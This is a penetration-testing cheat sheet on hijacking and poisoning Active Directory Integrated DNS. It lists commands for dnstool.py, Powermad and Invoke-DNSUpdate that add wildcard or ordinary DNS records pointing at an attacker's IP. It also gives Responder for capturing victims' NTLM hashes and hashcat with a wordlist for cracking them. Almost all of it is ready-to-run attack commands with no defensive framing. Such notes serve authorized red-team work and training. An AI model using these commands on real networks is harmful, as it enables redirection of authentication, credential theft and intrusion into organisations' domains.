ADIDNS Hijacking

ADIDNS Hijacking

Tools: dnstool.py, responder, Powermad, Invoke-DNSUpdate

Requirements:

A victim tries to connect to a domain that is NOT CONFIGURED, which means that we can make the domain point to OUR IP address instead.

python3 dnstool.py -u DOMAIN.LOCAL\\USER.NAME -p 'PASS' DOMAIN.LOCAL -r HIJACKED.DOMAIN.LOCAL -a add -d TARGET_IP -dns-ip OUR_IP

sudo responder -I tun0 (Capture NTLM Hash of victim)

hashcat -m 5600 -a 0 ntlmhash.txt /usr/share/wordlist/rockyou.txt (Crack hash)

ADIDNS Poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

1. By default, any user can create new ADIDNS records

2. But it is not possible to change or delete a record we do not own

3. By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack with Powermad

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what Powermad does:

get the value populated in the DNSRecord attribute of a node

Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes

New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

enable a tombstoned record

Enable-ADIDNSNode -Node *

disable a node

Disable-ADIDNSNode -Node *

remove a node

Remove-ADIDNSNode -Node *

check the wildcard record works/resolve a name

Resolve-DnsName NameThatDoesntExist

DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

dnstool python tool

Check if the '*' record exist

python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

creates a wildcard record

python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

disable a node

python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

remove a node

python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>